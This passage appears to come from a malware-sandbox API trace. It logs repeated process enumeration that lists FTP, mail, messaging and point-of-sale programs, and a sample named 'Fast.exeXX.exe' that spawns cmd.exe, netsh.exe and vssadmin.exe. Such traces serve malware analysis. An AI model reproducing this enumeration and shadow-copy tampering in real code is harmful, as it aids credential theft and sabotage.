dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0086.299] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.299] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0086.300] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0086.301] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="desiredbarriers.exe")) returned 1 [0086.301] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotten-cats.exe")) returned 1 [0086.302] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aboriginal confused oxford.exe")) returned 1 [0086.303] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contribution.exe")) returned 1 [0086.303] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="becomesincorporatedinvitation.exe")) returned 1 [0086.304] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="passesbands.exe")) returned 1 [0086.305] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="universe.exe")) returned 1 [0086.305] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="heard_davidson.exe")) returned 1 [0086.306] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="etc overall adware.exe")) returned 1 [0086.307] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="amy minerals.exe")) returned 1 [0086.307] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="light handmade.exe")) returned 1 [0086.308] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blond.exe")) returned 1 [0086.308] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="months.exe")) returned 1 [0086.309] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ragemedicare.exe")) returned 1 [0086.615] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablet restored processes.exe")) returned 1 [0086.615] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0086.616] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0086.617] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0086.618] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0086.618] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0086.619] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0086.620] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0086.620] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0086.621] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0086.622] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0086.622] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0086.623] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0086.624] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0086.624] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0086.625] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0086.625] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0086.626] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0086.627] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0086.627] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0086.628] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0086.629] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0086.630] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0086.631] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0086.632] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0086.633] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0086.634] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0086.635] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0086.636] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0086.637] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0086.638] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0086.639] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0086.640] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0086.641] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0086.642] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0086.643] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0086.644] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0086.645] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0086.646] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0086.647] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0086.648] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0086.649] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0086.649] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0086.650] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wax.exe")) returned 1 [0086.651] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed seven.exe")) returned 1 [0086.652] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="camerasrefine.exe")) returned 1 [0086.653] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0088.003] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0088.004] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0088.004] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0088.005] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0088.006] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.007] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0088.008] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.009] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0088.009] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0088.010] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.011] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.012] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x25c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0088.013] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x83c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0088.014] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x83c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0088.015] CloseHandle (hObject=0x1cc) returned 1 [0088.015] Sleep (dwMilliseconds=0x1f4) [0088.766] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cc [0088.772] Process32FirstW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0088.772] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0088.773] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0088.774] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, 